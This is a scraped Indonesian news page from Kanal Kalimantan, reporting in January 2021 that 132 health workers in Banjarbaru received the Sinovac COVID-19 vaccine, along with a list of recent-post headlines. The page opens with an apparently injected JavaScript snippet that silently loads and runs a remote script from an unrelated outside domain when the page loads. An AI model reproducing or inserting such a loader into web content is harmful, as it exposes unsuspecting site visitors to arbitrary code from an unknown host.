(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarbaru

132 Nakes Sudah Disuntik Sinovac, Kadinkes: Tak Ada Gejala Keluhan Permasalahan


KANALKALIMANTAN.COM, BANJARBARU – Meski di tengah situasi sulit akibat banjir, upaya pelaksanaan vaksinasi di Kota Banjarbaru terus berjalan.

Penyuntikan vaksin Covid-19 jenis Sinovac di Banjarbaru saat ini tengah dikhususkan kepada kalangan tenaga kesehatan (Nakes).

Pelaksanaanya tersebar di 22 fasilitas kesehatan (Faskes) terdiri dari 10 Puskesmas, klinik, dan rumah sakit milik pemerintah maupun swasta.

Kepala Dinas Kesehatan (Dinkes) Banjarbaru, Rizana Mirza mengatakan, hingga 18 Januari 2021 kemarin, setidaknya ada 132 orang yang sudah disuntik vaksin.
Ia memastikan bahwa vaksin asal China itu tak menimbulkan gejala ataupun permasalahan terhadap ratusan Nakes.

 

“Sudah 132 nakes yang mengikuti vaksinasi. Semuanya aman dan kondisi tubuhnya baik-baik saja,” kata Rizana, kepada Kanalkalimantan, Selasa (19/1/2021) pagi.
Ihwal pelaksanaan vaksinasi di Banjarbaru, menurut Rizana semuanya berjalan sesuai prosedur dan terjadwal. Meskipun ada beberapa kendala dalam proses administrasi yang perlu dievaluasi.

“Alhamdulillah, lancar saja. Kecuali kadang-kadang ada sedikit gangguan diaplikasi PCare-nya saat proses administrasi secara online,” bebernya.

Sebelumnya, Dinkes Banjarbaru mendata ada sebanyak 2.339 nakes yang akan menerima vaksin tahap pertama ini. Namun jumlah tersebut harus dipangkas menyisakan 1.953 nakes saja, lantaran sisanya tak memenuhi syarat sebagaiman ketentuan yang diatur Kementrian Kesehatan (Kemenkes) RI.

“Jadi ada 386 tenaga kesehatan di Banjarbaru yang tidak mengikuti vaksinasi tahap pertama. Karena terkendala komorbid. Lalu ada juga dari mereka yang pernah dinyatakan terkonfimasi Covid-19,” terang Kadinkes.

Merunut jadwal pelaksanaan vaksinasi di Banjarbaru, penyuntik vaksin terhadap kelompok nakes akan berlangsung dari Januari hingga Maret mendatang.

Kemudian dilanjutkan terhadap para tenaga pegawai pelayanan masyarakat. Misalnya, TNI, Polri, hingga pegawai negeri sipil (PNS).

Lalu, berakhirnya pada tahapan penyuntikan vaksin bagi masyarakat umum. Seluruh tahapan ini berlangsung dari April hingga tutup tahun 2021. (kanalkalimantan.com/rico)

Reporter: Rico
Editor: Bie


Al Ghifari

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

8 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

10 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

11 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

15 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

16 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

16 jam ago

This website uses cookies.